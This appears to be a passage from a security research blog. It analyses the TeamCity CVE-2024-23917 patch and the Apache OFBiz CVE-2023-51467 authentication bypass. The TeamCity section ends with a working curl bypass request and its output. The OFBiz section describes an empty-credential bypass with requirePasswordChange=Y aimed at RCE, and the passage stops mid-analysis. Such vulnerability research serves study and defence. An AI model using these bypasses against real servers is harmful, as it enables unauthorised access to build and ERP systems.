            Class<?> authInterceptorClass = Class.forName("jetbrains.buildServer.controllers.interceptors.AuthorizationInterceptorImpl");
            Object authInterceptorService = securityHandler.findSingletonService(authInterceptorClass);

            Class<?> superClass = urlMappingClass.getSuperclass();
            Field adaptedInterceptorsField = findField(superClass, "adaptedInterceptors");

            if (adaptedInterceptorsField == null) {
                throw new IllegalStateException("Required field 'adaptedInterceptors' not found in " + urlMappingClass.getName());
            }

            adaptedInterceptorsField.setAccessible(true);
            List<Object> adaptedInterceptors = (List<Object>) adaptedInterceptorsField.get(urlMappingService);
            adaptedInterceptors.add(securityHandler.createProxy(authInterceptorService));

            if (isSecurityPatchEnabled) {
                Loggers.SERVER.warn("Security patch for CVE-2024-23917 has been activated");
            } else {
                Loggers.SERVER.debug("Security patch for CVE-2024-23917 has been activated");
            }
        } catch (Throwable ex) {
            Loggers.SERVER.warn("Could not activate security patch for CVE-2024-23917. Error: " + ex.toString());
            Loggers.SERVER.debug("Error activating security patch for CVE-2024-23917: " + ex.toString(), ex);
        }
    }

    private Field findField(Class<?> clazz, String fieldName) {
        while (clazz != null) {
            try {
                Field field = clazz.getDeclaredField(fieldName);
                return field;
            } catch (NoSuchFieldException e) {
                clazz = clazz.getSuperclass();
            }
        }
        return null;
    }
}

The code starts with accessing UrlMapping class from within jetbrains.spring.web.UrlMapping and then further trying to access it’s superClass. Searching through the codebase, we can see the superClass for UrlMapping is TeamCitySimpleUrlHandlerMapping.
The superClass for TeamCitySimpleUrlHandlerMapping is AbstractHandlerMapping. The code then further tries to fetch the adaptedInterceptors field from the superClass which in our case is the TeamCitySimpleUrlHandlerMapping.
Looking through the codebase, we won’t see a field named adaptedInterceptors defined within TeamCitySimpleUrlHandlerMapping but somehow the patch is trying to fetch it. Going through the findField function, we can see that findField attempts to find a field on the supplied class and if not found, it searches through it’s superclasses as well. So essentially we are fetching adaptedInterceptors from UrlMapping -> TeamCitySimpleUrlHandlerMapping -> AbstractHandlerMapping !
In Spring MVC, the collection of adaptedInterceptors is generally accessed or modified through reflection, as shown in the above code snippet. This approach allows for dynamic changes to the request processing pipeline without modifying core configurations or restarting the server. This can be useful for applying security patches, introducing custom interceptors, or integrating third-party interceptors at runtime.
Finally they are adding a new Interceptor into the list of adaptedInterceptors, this means that most like this newly added Interceptor will ensure the authentication bypass vulnerability is prevented.

Now let’s finally look at the final file where all the logic for custom new interceptor is written:

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.EventListener;
import java.util.HashSet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import jetbrains.buildServer.log.Loggers;
import jetbrains.buildServer.serverSide.TeamCityProperties;
import jetbrains.buildServer.util.EventDispatcher;
import jetbrains.buildServer.web.util.WebUtil;
import org.jetbrains.annotations.NotNull;

public class SecurityInterceptor {
    private final EventDispatcher<BuildServerListener> eventDispatcher;
    private final ServiceLocator serviceLocator;
    private static boolean securityPatchActivated;

    public SecurityInterceptor(@NotNull EventDispatcher<BuildServerListener> eventDispatcher, @NotNull ServiceLocator serviceLocator) {
        boolean previousActivation = securityPatchActivated;
        this.eventDispatcher = eventDispatcher;
        this.serviceLocator = serviceLocator;
        if (securityPatchActivated) {
            securityPatchActivated = !previousActivation;
        }
    }

    public void activateSecurityPatch(boolean activated) {
        this.eventDispatcher.addListener((EventListener)((Object)new SecurityPatchActivator(this, activated)));
    }

    private Object createHandlerInterceptorProxy(Object handler) throws ClassNotFoundException {
        Class<?> clazz = Class.forName("org.springframework.web.servlet.HandlerInterceptor"); // handler here is AuthorizationInterceptorImpl
        return Proxy.newProxyInstance(this.getClass().getClassLoader(), new Class[]{clazz}, (Object proxyObj, Method method, Object[] methodArgs) -> this.intercept_wrap(handler,proxyObj, method,  methodArgs));
    }

    private boolean intercept(HttpServletRequest request, HttpServletResponse response, Object handler, Object handlerInterceptor) {
        
        // this is called from AuthorizationInterceptorImpl.prehandle func is called
        // handlerInterceptor is AuthorizationInterceptorImpl
        // handler is controller being called

        /**
         * if (!interceptor.preHandle(request, response, this.handler)) {
                this.triggerAfterCompletion(request, response, (Exception)null);
                return false;
            }

            this is where its called
            interceptor.prehandle will call this 
                - intercept fnc where 
         */
        
        boolean isSecurityPatchEnabled = TeamCityProperties.getBooleanOrTrue("teamcity.CVE-2024-23917.patch.enabled");
        if (isSecurityPatchEnabled == false) {
            return true;
        }
        
        Object includeRequestUri = request.getAttribute("javax.servlet.include.request_uri");
        if (includeRequestUri != null || request.getAttribute("javax.servlet.forward.request_uri") != null) {
            return true;
        }
        
        String path = WebUtil.getPathWithoutContext(request); // removes ;<--anything after-->
        boolean isAgentEndpoint = path.startsWith("/app/agents/") || path.startsWith("/update/");
        if (isAgentEndpoint) {
            return true;  // donot run this patch
        }
        
        HashSet<String> securedEndpoints = new HashSet<>();
        securedEndpoints.add("jetbrains.buildServer.controllers.login.LoginController");
        securedEndpoints.add("jetbrains.buildServer.controllers.login.LoginSubmitController");
        securedEndpoints.add("jetbrains.buildServer.controllers.login.LoginIconsController");
        securedEndpoints.add("jetbrains.buildServer.controllers.user.RegisterUserController");
        securedEndpoints.add("jetbrains.buildServer.controllers.user.SubmitRegisterUserController");
        securedEndpoints.add("jetbrains.buildServer.controllers.admin.users.SetupAdminController");
        securedEndpoints.add("jetbrains.buildServer.controllers.admin.users.SubmitSetupAdminController");
        securedEndpoints.add("jetbrains.buildServer.controllers.admin.users.SubmitCreateAdminController");
        securedEndpoints.add("jetbrains.buildServer.controllers.status.ExternalStatusController");
        securedEndpoints.add("jetbrains.buildServer.controllers.license.ShowAgreementController");
        securedEndpoints.add("jetbrains.buildServer.web.RuntimeErrorController");
        securedEndpoints.add("jetbrains.buildServer.web.RuntimeErrorTestController");
        securedEndpoints.add("jetbrains.buildServer.controllers.agentServer.AgentPollingProtocolController");
        securedEndpoints.add("jetbrains.buildServer.controllers.agentServer.AgentProtocolsController");
        securedEndpoints.add("jetbrains.buildServer.controllers.XmlRpcController");
        securedEndpoints.add("jetbrains.buildServer.web.plugins.agent.BuildAgentUpdateInfoControllerNew");
        securedEndpoints.add("jetbrains.buildServer.serverSide.oauth.space.SpaceEndpointController");
        securedEndpoints.add("jetbrains.buildServer.resetPassword.ForgotPasswordController");
        securedEndpoints.add("jetbrains.buildServer.resetPassword.ResetPasswordController");
        securedEndpoints.add("jetbrains.buildServer.controllers.BadRequestController");
        securedEndpoints.add("jetbrains.buildServer.controllers.PageNotFoundController");
        securedEndpoints.add("jetbrains.buildServer.controllers.agent.AgentParametersController");
        securedEndpoints.add("jetbrains.buildServer.controllers.agent.UploadOnServerController");
        securedEndpoints.add("jetbrains.buildServer.controllers.proxyHealthCheck.PreferredNodeHealthStatusController");
        securedEndpoints.add("jetbrains.buildServer.win32.web.LoginCheckController");
        securedEndpoints.add("jetbrains.buildServer.win32.web.LoginController");
        securedEndpoints.add("jetbrains.buildServer.controllers.PageResourceCompressorImpl");
        securedEndpoints.add("jetbrains.spring.web.JspController");
        
        //issue
            // here they are checking, instead of (.jsp + jsp_precompile) to know which request to skip, we have list of all controllers to skip
            //  , check if these request belong to these class's, if yes, we can let them go, else in anyother case, check auth
        
        
        if (securedEndpoints.contains(handler.getClass().getName())) {
            return true; // donot run the patch
        }
        
        Boolean isAuthenticationRequired = checkAuthenticationRequirement(handlerInterceptor, path); // calls the real fn to check auth is needed fnc's 
        if (Boolean.FALSE.equals(isAuthenticationRequired)) {
            response.setStatus(403);
            try {
                response.getWriter().write("Access denied");
                Loggers.SERVER.warn("Replying with 403 status for the unauthorized request: " + WebUtil.getRequestDump(request));
                return false;
            } catch (IOException e) {
                // Log the exception if necessary
            }
        }
        
        return false;
    }

    private static boolean checkAuthenticationRequirement(Object handler, String path) {

        /**
         * in short this is whats happening
         * AuthorizationInterceptorImpl.myAuthorizationPaths.isAuthenticationRequired(path)
         * 
         */

        Object authorizationPaths;
        try {
            Field authorizationPathsField = handler.getClass().getDeclaredField("myAuthorizationPaths");
            authorizationPathsField.setAccessible(true);
            authorizationPaths = authorizationPathsField.get(handler);
        } catch (NoSuchFieldException | IllegalAccessException e) {
            try {
                Method isAuthenticationRequiredMethod = handler.getClass().getDeclaredMethod("isAuthenticationRequired", String.class);
                isAuthenticationRequiredMethod.setAccessible(true);
                return (Boolean) isAuthenticationRequiredMethod.invoke(handler, path); // 
            } catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException ex) {
                return true;
            }
        }
        try {
            Method isAuthenticationRequiredMethod = authorizationPaths.getClass().getDeclaredMethod("isAuthenticationRequired", String.class);
            return (Boolean) isAuthenticationRequiredMethod.invoke(authorizationPaths, path);
        } catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException e) {
            return true;
        }
    }

    private boolean isAuthenticationPresent() {
        try {
            Method getContextMethod = SecurityContextHolder.class.getMethod("getContext");
            Object securityContext = getContextMethod.invoke(null);
            Method getAuthenticationMethod = securityContext.getClass().getMethod("getAuthentication");
            return getAuthenticationMethod.invoke(securityContext) != null;
        } catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException e) {
            return true;
        }
    }

    private static Class<?> getSecurityContextHolderClass() throws ClassNotFoundException {
        return Class.forName("org.springframework.security.core.context.SecurityContextHolder");
    }

    private Object intercept_wrap(Object handler, Object handlerInterceptor, Method method, Object[] args) throws Throwable {
        boolean isPreHandleMethod = method.getName().equals("preHandle");
        if (isPreHandleMethod) {
            return interceptPreHandle((HttpServletRequest) args[0], (HttpServletResponse) args[1], args[2], handler);
        }
        return null;
    }

    private boolean interceptPreHandle(HttpServletRequest request, HttpServletResponse response, Object handler, Object handlerInterceptor) {
        return intercept(request, response, handler, handlerInterceptor);
    }

    static ServiceLocator getServiceLocator(SecurityInterceptor interceptor) {
        return interceptor.serviceLocator;
    }

    static Object createHandlerInterceptorProxy(SecurityInterceptor interceptor, Object handler) throws ClassNotFoundException {
        return interceptor.createHandlerInterceptorProxy(handler);
    }
}

We start by creating a class named SecurityInterceptor (custom name we gave during cleanup) inside which a lot of methods are defined. One of the most interesting methods is intercept, which from the looks of it, handles all the main logic for fixing the vulnerability.
The function starts by checking if the property teamcity.CVE-2024-23917.patch.enabled is set to true. If it’s false, the function returns immediately.
In a servlet environment, requests can be “included” or “forwarded” which typically occurs when one servlet forwards or includes the request/response to/from another servlet as part of the request handling process.

The if (includeRequestUri != null || request.getAttribute("javax.servlet.forward.request_uri") != null) block checks whether either the include or forward attribute is present. If either is present, it implies the request is either an included or a forwarded request, and the code returns true, meaning interceptor doesn’t need to run.
It then checks the path of the given request, if it starts with /app/agents/ or /update, then the code returns immediately.
The patch has a set of whitelisted controllers on which this interceptor is not required to run. From the name of the controllers, for example, LoginController or ForgotPasswordController, we can assume that these controllers handle pre-authenticated endpoints which means no need to run the Interceptor.
Finally the intercept function calls checkAuthenticationRequirement, let’s look at what this does. From the flow of the code, this looks to be the core function where the logic exists.

    private static boolean checkAuthenticationRequirement(Object handler, String path) {
        /**
         * in short this is whats happening
         * AuthorizationInterceptorImpl.myAuthorizationPaths.isAuthenticationRequired(path)
         * 
         */

        Object authorizationPaths;
        try {
            Field authorizationPathsField = handler.getClass().getDeclaredField("myAuthorizationPaths");
            authorizationPathsField.setAccessible(true);
            authorizationPaths = authorizationPathsField.get(handler);
        } catch (NoSuchFieldException | IllegalAccessException e) {
            try {
                Method isAuthenticationRequiredMethod = handler.getClass().getDeclaredMethod("isAuthenticationRequired", String.class);
                isAuthenticationRequiredMethod.setAccessible(true);
                return (Boolean) isAuthenticationRequiredMethod.invoke(handler, path); // 
            } catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException ex) {
                return true;
            }
        }
        try {
            Method isAuthenticationRequiredMethod = authorizationPaths.getClass().getDeclaredMethod("isAuthenticationRequired", String.class);
            return (Boolean) isAuthenticationRequiredMethod.invoke(authorizationPaths, path);
        } catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException e) {
            return true;
        }
    }

The function starts by reading myAuthorizationPaths from AuthorizationInterceptorImpl class which contains the list of paths.
Further down the code, using reflection, it reads the function isAuthenticationRequired and explicitly invoking this function on the given paths.

This doesn’t make sense, why would the patch add a new interceptor which explicitly invokes an already inbuilt function used for checking if authentication is required or not ?

Authentication Bypass

A logical explanation could be that, in the newly added interceptor, there was a lot of “if else” conditions where authentication is explicitly bypassed. What if, in the original code, there exists a condition where the auth checks are explicity bypassed ?

Let’s explore the interceptors defined in detail to understand this. Grepping for the AuthorizationInterceptor, we can see the full path of the file: jetbrains/buildServer/controllers/interceptors/AuthorizationInterceptorImpl.java. Seems like all the interceptors are defined inside the folder jetbrains/buildServer/controllers/interceptors/

Exploring through AuthorizationInterceptorImpl.java, even through the Interceptor has a lot of logic inside, it’s getting invoked somewhere else. Exploring further in the same directory, we can see another very interesting file named RequestInterceptors.java where interceptors are explicity getting added and invoked. We can confirm this by setting a breakpoint at the preHandle function:

Let’s explore this preHandle function in detail:

   public final boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
      if (!this.requestPreHandlingAllowed(request)) {
         return true;
      } else {
         Stack reqStack = this.requestIn(request);
         if (reqStack.size() >= 70 && request.getAttribute("__tc_requestStack_overflow") == null) {
            LOG.warn("Possible infinite recursion of page includes. Request: " + WebUtil.getRequestDump(request));
            request.setAttribute("__tc_requestStack_overflow", this);
            Throwable o = (new ServletException("Too much recurrent forward or include operations")).fillInStackTrace();
            request.setAttribute("javax.servlet.jsp.jspException", o);
            RequestDispatcher dispatcher = request.getRequestDispatcher("/runtimeError.jsp");
            if (dispatcher != null) {
               dispatcher.include(request, response);
            }

            return false;
         } else {
            if (reqStack.size() == 1) {
               Iterator var5 = this.myInterceptors.iterator();

               while(var5.hasNext()) {
                  HandlerInterceptor i = (HandlerInterceptor)var5.next();
                  if (!i.preHandle(request, response, handler)) {
                     return false;
                  }
               }
            }

The requestPreHandlingAllowed(request) method checks if the pre-handling operations are permitted for this request. If not, the method returns true, allowing the request to proceed without additional processing.
Stack reqStack = this.requestIn(request): Retrieves a stack representing some state related to the request, likely tracking recursion.
If reqStack.size() >= 70, it’s an indication that too many recursive operations (forwards or includes) have occurred, suggesting an infinite loop.
If recursion is detected, a warning is logged, and a ServletException is thrown with a message about “Too much recurrent forward or include operations.”
If reqStack.size() == 1, indicating this is the first request in a potential stack of recursive operations, the code iterates over myInterceptors.
For each HandlerInterceptor in myInterceptors, it calls preHandle on the current request, response, and handler. If any of these interceptors return false, indicating they do not allow the request to proceed, the method returns false.

Now it’s clear for us that RequestInterceptors.java has a prehandle() which internally invokes all other interceptors one by one. Let’s explore the requestPreHandlingAllowed(request) function in detail since this method checks if the pre-handling operations are permitted for a given request. If there is a way in which can make the function requestPreHandlingAllowed(request) return “true” then none of the interceptors are run, that includes the AuthorizationInterceptorImpl.java.

File: TeamCity/fern/jetbrains/buildServer/controllers/interceptors/RequestInterceptors.java

158:    private boolean requestPreHandlingAllowed(@NotNull HttpServletRequest request) {
159:       if (WebUtil.isJspPrecompilationRequest(request)) {
160:          return false;
161:       } else {
162:          return !this.myPreHandlingDisabled.matches(WebUtil.getPathWithoutContext(request));
163:       }
164:    }

So requestPreHandlingAllowed internally calls WebUtil.isJspPrecompilationRequest, which from the look of it, checks if the request is a precompiled JSP. Let’s explore the function in detail:

File: TeamCity/fern/jetbrains/buildServer/web/util/WebUtil.java

1649:   public static boolean isJspPrecompilationRequest(@NotNull final HttpServletRequest request) {
1650:     final String uri = StringUtil.notNullize(request.getRequestURI());
1651:     return (uri.endsWith(".jsp") || uri.endsWith(".jspf")) && request.getParameter("jsp_precompile") != null;
1652:   }

The method reads request path through getRequestURI() to check if it ends with “.jsp” or “.jspf” and also checks if the request contains a GET parameter named jsp_precompile, if so, the function returns true, essentially leading to the original if condition returning true, skipping the entire else part where interceptors are invoked.

Tomcat supports the use of ; which is considered a parameter of the path itself. Ex: https://example.com/rest/abc;a=b?param=123. Here ;a=b is considered a parameter for the path itself ! We can abuse the functionality here since the WebUtil.isJspPrecompilationRequest reads the requestURI directly and runs endsWith() to determine if it’s a pre-compiled request.

Exploit

So we can try and hit an endpoint which requires authentication but we can pass ;.jsp at the end along with adding a GET parameter jsp_precompile=1 should bypass the authentication and give us the results.

a0xnirudh@X1 ~/Downloads/teamcity $ curl http://localhost:8111/app/rest/projects;.jsp?jsp_precompile=1

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><projects count="2" href="/app/rest/projects;.jsp?jsp_precompile=1"><project id="_Root" name="&lt;Root project&gt;" description="Contains all other projects" href="/app/rest/projects/id:_Root" webUrl="http://localhost:8111/project.html?projectId=_Root"/><project id="Test" name="test" parentProjectId="_Root" href="/app/rest/projects/id:Test" webUrl="http://localhost:8111/project.html?projectId=Test"/></projects>%

Analysing CVE-2023-51467 - Apache OFBiz Authentication bypass to Remote Code Execution

Mon, 26 Feb 2024 00:00:00 -0800

Introduction

Apache OFBiz is an open-source Enterprise Resource Planning (ERP) solution featuring a suite of applications designed for streamlining and automating various business processes. Notably, a recent discovery has unveiled a critical authentication bypass vulnerability within Apache OFBiz, ultimately exposing the system to Remote Code Execution (CVE-2023-51467). This article aims to explore the details of this vulnerability and explain the process of constructing an exploit leading to Remote Code Execution.

Installing and Configuring OFBiz

Download the 18.12.05 release from the official Apache OFBiz Github repository and proceed with the local installation. For the purpose of this article, I will be using the Intellij IDEA Community Edition to navigate through the codebase.

Exploring through the directories we can see the docs directory which usually contains interesting information including details on project structure, architecture/design and the developer manual. This is instrumental in gaining a good understanding of the core framework. Notably, within the ‘docs’ directory, the developer-manual.adoc file contains great insights into the project’s structure

The base directory structure of Apache OFBiz is organized as follows:

Apache OFBiz
├── framework/              - Core framework of OFBiz
    ├── base                - Fundamental framework components and services.
    ├── common              - Resources and utilities used throughout the framework
    ├── entity              - Entity engine and data access
    ├── webapp              - Web application components
    ├── webtools            - Contains webtools
    ├── component-load.xml  - 
├── applications/           - Various app components with each having subdirectory containing configuration files, entity definitions etc ...
├── runtime/                - Runtime config files, logs, cache
├── plugins/                - External plugins to extend framework abilities

A basic unit in Apache OFBiz is called component. A component is at a minimum a folder with a file inside of it called ofbiz-component.xml. As per the documentation, a typical component has the following directory structure.

component-name-here/
├── config/              - Properties and translation labels (i18n)
├── data/                - XML data to load into the database
├── entitydef/           - Defined database entities
├── groovyScripts/       - A collection of scripts written in Groovy
├── minilang/            - A collection of scripts written in minilang (deprecated)
├── ofbiz-component.xml  - The OFBiz main component configuration file
├── servicedef           - Defined services.
├── src/
    ├── docs/            - component documentation source
    └── main/java/       - java source code
    └── test/java/       - java unit-tests
├── testdef              - Defined integration-tests
├── webapp               - One or more Java webapps including the control servlet
└── widget               - Screens, forms, menus and other widgets

An interesting thing to note here is the groovyScripts directory containing a collection of scripts written in Groovy. If we can edit or trigger a Groovy file with the contents we control, post authentication bypass, we will be able to achieve remote code execution.

Understanding the patch

OFBiz has fixed the vulnerability with a very simple patch which is as simple as replacing direct null checks with UtilValidate.isEmpty() function in the file LoginWorker.java inside webapp/control directory. So the main file to look for the vulnerability is org.apache.ofbiz.webapp.control.LoginWorker#checkLogin

Exploring checkLogin()

Let’s go through the checkLogin() code line by line to understand how authentication is handled:

File: ofbiz-framework-release18.12.05/framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/LoginWorker.java

323:     public static String checkLogin(HttpServletRequest request, HttpServletResponse response) {
324:         GenericValue userLogin = checkLogout(request, response);
325:         // have to reget this because the old session object will be invalid
326:         HttpSession session = request.getSession();
327: 
328:         String username = null;
329:         String password = null;
330:         String token = null;
331: 
332:         if (userLogin == null) {
333:             // check parameters
334:             username = request.getParameter("USERNAME");
335:             password = request.getParameter("PASSWORD");
336:             token = request.getParameter("TOKEN");
337:             // check session attributes
338:             if (username == null) username = (String) session.getAttribute("USERNAME");
339:             if (password == null) password = (String) session.getAttribute("PASSWORD");
340:             if (token == null) token = (String) session.getAttribute("TOKEN");

The checkLogin() method starts by calling another method checkLogout() to verify if the user has logged out. The result is stored in a GenericValue object named userLogin.
The code then retrieves the HttpSession object which is used to manage session-specific information for the user.
Three variables namely username, password, and token are initialized to null. These variables will be used to store user credentials.
If the userLogin is null, it implies that the user has not logged in. The code proceeds to check request parameters (USERNAME, PASSWORD, and TOKEN) and session attributes for the user’s credentials.

Can we spot a bug in the above code ?

What happens if we send a GET request with the parameters namely username, password and token but without a value? All the parameters gets defined but empty, which means it’s not null but empty !

Ex: http://localhost:8443/something?USERNAME&PASSWORD

File: ofbiz-framework-release18.12.05/framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/LoginWorker.java

342:   // in this condition log them in if not already; if not logged in or can't log in, save parameters and return error
343:   if (username == null
344:           || (password == null && token == null)
345:           || "error".equals(login(request, response))) {
346: 
347:       // make sure this attribute is not in the request; this avoids infinite recursion when a login by less stringent criteria (like not checkout the hasLoggedOut field) passes; this is not a normal circumstance but can happen with custom code or in funny error situations when the userLogin service gets the userLogin object but runs into another problem and fails to return an error
348:       request.removeAttribute("_LOGIN_PASSED_");
349: 
350:       // keep the previous request name in the session
351:       session.setAttribute("_PREVIOUS_REQUEST_", request.getPathInfo());
352: 
353:       // NOTE: not using the old _PREVIOUS_PARAMS_ attribute at all because it was a security hole as it was used to put data in the URL (never encrypted) that was originally in a form field that may have been encrypted
354:       // keep 2 maps: one for URL parameters and one for form parameters
355:       Map<String, Object> urlParams = UtilHttp.getUrlOnlyParameterMap(request);
356:       if (UtilValidate.isNotEmpty(urlParams)) {
357:           session.setAttribute("_PREVIOUS_PARAM_MAP_URL_", urlParams);
358:       }
359:       Map<String, Object> formParams = UtilHttp.getParameterMap(request, urlParams.keySet(), false);
360:       if (UtilValidate.isNotEmpty(formParams)) {
361:           session.setAttribute("_PREVIOUS_PARAM_MAP_FORM_", formParams);
362:       }
363: 
364:       //if (Debug.infoOn()) Debug.logInfo("checkLogin: PathInfo=" + request.getPathInfo(), module);
365: 
366:       return "error";
367:   }
368:}

If any of the required credentials (username, password, or token) is equal to null or if the login method returns an error status, the code performs the following actions:
1. Removes an attribute (_LOGIN_PASSED_) and sets the _PREVIOUS_REQUEST_ attribute in the session, storing the path of the request.
2. Stores URL parameters and form parameters in separate maps (_PREVIOUS_PARAM_MAP_URL_ and _PREVIOUS_PARAM_MAP_FORM_) in the session.
3. Returns the string error.

One of the things we can conclude from checkLogin() is, if username, password and token is not null, then the login() method returns anything other than error as the string, and will successfully authenticate with the application. So let’s explore login() and see if there is a way in which we can force it to return any other string other than error.

File: ofbiz-framework-release18.12.05/framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/LoginWorker.java

391:  public static String login(HttpServletRequest request, HttpServletResponse response) {
392:      HttpSession session = request.getSession();
393:      
394:       // Prevent session fixation by making Tomcat generate a new jsessionId (ultimately put in cookie). 
395:       if (!session.isNew()) {  // Only do when really signing in. 
396:           request.changeSessionId();
397:       }
398:       
399:       Delegator delegator = (Delegator) request.getAttribute("delegator");
400:       String username = request.getParameter("USERNAME");
401:       String password = request.getParameter("PASSWORD");
402:       String token = request.getParameter("TOKEN");
403:       String forgotPwdFlag = request.getParameter("forgotPwdFlag");
404: 
405:       // password decryption
406:       EntityCrypto entityDeCrypto = null;
407:       try {
408:           entityDeCrypto = new EntityCrypto(delegator, null);
409:       } catch (EntityCryptoException e1) {
410:           Debug.logError(e1.getMessage(), module);
411:       }
412:       
413:       if(entityDeCrypto != null && "true".equals(forgotPwdFlag)) {
414:           try {
415:               Object decryptedPwd = entityDeCrypto.decrypt(keyValue, ModelField.EncryptMethod.TRUE, password);
416:               password = decryptedPwd.toString();
417:           } catch (GeneralException e) {
418:               Debug.logError(e, "Current Password Decryption failed", module);
419:           }
420:       }
421: 
422:       if (username == null) username = (String) session.getAttribute("USERNAME");
423:       if (password == null) password = (String) session.getAttribute("PASSWORD");
424:       if (token == null) token = (String) session.getAttribute("TOKEN");

The method starts with retrieving the delegator, username, password, token, and a flag indicating whether the password is being reset (forgotPwdFlag) from request parameters.
If the forgotPwdFlag is set to true, it attempts to decrypt the password using an EntityCrypto instance. If any of the parameters (username, password, or token) is missing from the request, it attempts to retrieve them from the session attributes.

426:    // allow a username and/or password in a request attribute to override the request parameter or the session attribute; this way a preprocessor can play with these a bit...
427:    if (UtilValidate.isNotEmpty(request.getAttribute("USERNAME"))) {
428:        username = (String) request.getAttribute("USERNAME");
429:    }
430:    if (UtilValidate.isNotEmpty(request.getAttribute("PASSWORD"))) {
431:        password = (String) request.getAttribute("PASSWORD");
432:    }
433:    if (UtilValidate.isNotEmpty(request.getAttribute("TOKEN"))) {
434:        token = (String) request.getAttribute("TOKEN");
435:    }
436: 
437:    List<String> unpwErrMsgList = new LinkedList<String>();
438:    if (UtilValidate.isEmpty(username)) {
439:        unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, "loginevents.username_was_empty_reenter", UtilHttp.getLocale(request)));
440:    }
441:    if (UtilValidate.isEmpty(password) && UtilValidate.isEmpty(token)) {
442:        unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, "loginevents.password_was_empty_reenter", UtilHttp.getLocale(request)));
443:    }
444:    boolean requirePasswordChange = "Y".equals(request.getParameter("requirePasswordChange"));
445:    if (!unpwErrMsgList.isEmpty()) {
446:        request.setAttribute("_ERROR_MESSAGE_LIST_", unpwErrMsgList);
447:        return  requirePasswordChange ? "requirePasswordChange" : "error";
448:    }

The code allows the username, password, and token to be overridden by values set in request attributes.
It checks for missing username or password or token and populates an error message list named unpwErrMsgList. If errors are present, it sets the error messages in the request attribute and returns either requirePasswordChange or error, depending on the value of requirePasswordChange in the request parameters.

This is precisely what we need, if we explicitly set the value of requirePasswordChange to Y and set username as well as password to be empty, the login() function returns requirePasswordChange rather than returning error which leads to the success path of the code !

Triggering the Vulnerability:

In order to trigger the vulnerability, we first need to understand the architecture of the application and see how we can trigger the groovyScript after bypassing authentication, essentially getting RCE.

Architecture

From the docs directory, inside the developer manual, we can see an architecture diagram explaining how a request gets routed through OFBiz.

Reading further through the documentation, we can see something interesting:

The Java Servlet Container (tomcat) re-routes incoming requests through web.xml to a special OFBiz servlet called the control servlet. The control servlet for each OFBiz component is defined in controller.xml under the webapp folder. The main configuration for routing happens in controller.xml. The purpose of this file is to map request endpoints to responses with flags for security related attributes.

So essentially OFBiz uses Apache tomcat as it’s core webserver which re-reoutes incoming requests through the web.xml to the control servlet. Each component’s control server is defined in controller.xml, a central configuration file that defines request handlers, which are responsible for processing incoming requests. So, in-order to fully understand how request mapping works, we need to look at 3 xml files, namely ofbiz-component.xml, web.xml and controller.xml. Let’s take an example /framework/webtools to understand this:

ofbiz-component.xml

Let’s explore the ofbiz-component.xml file:

File: ofbiz-framework-release18.12.05/framework/webtools/ofbiz-component.xml

30:     <webapp name="webtools"
31:         title="WebTools"
32:         position="12"
33:         server="default-server"
34:         location="webapp/webtools"
35:         base-permission="OFBTOOLS,WEBTOOLS"
36:         mount-point="/webtools"/>

So we can conclude that the mount-point to access the framework’s webtools directory is to hit /webtools.

web.xml

Let’s explore the web.xml file, specifically the control servlet mapping:

File: ofbiz-framework-release18.12.05/framework/webtools/webapp/webtools/WEB-INF/web.xml

102:     <servlet>
103:         <description>Main Control Servlet</description>
104:         <display-name>ControlServlet</display-name>
105:         <servlet-name>ControlServlet</servlet-name>
106:         <servlet-class>org.apache.ofbiz.webapp.control.ControlServlet</servlet-class>
107:         <load-on-startup>1</load-on-startup>
108:     </servlet>
109:     <servlet-mapping>
110:         <servlet-name>ControlServlet</servlet-name>
111:         <url-pattern>/control/*</url-pattern>
112:     </servlet-mapping>

servlet-name specifies a name for the servlet, in this case, ControlServlet
servlet-class specifies the fully qualified class name of the control servlet (org.apache.ofbiz.webapp.control.ControlServlet).
url-pattern defines the URL pattern to which the servlet is mapped. Here, it’s /control/*, meaning that the control servlet will handle requests with URLs starting with /control/.

So this means the request mapping currently looks like /webtools/control.

controller.xml

Let’s explore the controller.xml file:

File: ofbiz-framework-release18.12.05/framework/webtools/webapp/webtools/WEB-INF/controller.xml

65:     <request-map uri="ping">
66:         <security auth="true"/>
67:         <event type="service" invoke="ping"/>
68:         <response name="error" type="view" value="ping"/>
69:         <response name="success" type="view" value="ping"/>
70:     </request-map>
.
.
419:     <request-map uri="ProgramExport">
420:         <security https="true" auth="true"/>
421:         <response name="success" type="view" value="ProgramExport"/>
422:         <response name="error" type="view" value="ProgramExport"/>
423:     </request-map>

From the above file,

The request-map elements define mappings for specific URIs namely ping in this case.
The security element specifies security-related attributes. auth=true means authentication is mandatory for accessing the /ping endpoint.
The event element defines the event to be triggered when the specified URI is accessed.
The response element specifies the response to be rendered.

So it’s clear that in order to hit the /ping endpoint, we would need to be authenticated and hit the following API endpoint /webtools/control/ping. Firing up the browser and visiting https://localhost:8443/webtools/control/ping will redirect us to the login page.

Let’s go deeper to understand how controller.xml is being parsed. Grepping through the source code for controller.xml, we can see some interesting result:

grep -r "controller.xml" . --include "*.java"

The result of the above command will give us a list of all java files who has controller.xml as a string inside it.

./framework/widget/src/main/java/org/apache/ofbiz/widget/renderer/ScreenRenderer.java:     * @param combinedName A combination of the resource name/location for the screen XML file and the name of the screen within that file, separated by a pound sign ("#"). This is the same format that is used in the view-map elements on the controller.xml file.
./framework/widget/src/main/java/org/apache/ofbiz/widget/WidgetWorker.java:                    Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/ConfigXMLReader.java:    public static final String controllerXmlFileName = "/WEB-INF/controller.xml";
./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/ConfigXMLReader.java:                // find controller.xml file with webappMountPoint + "/WEB-INF" in the path
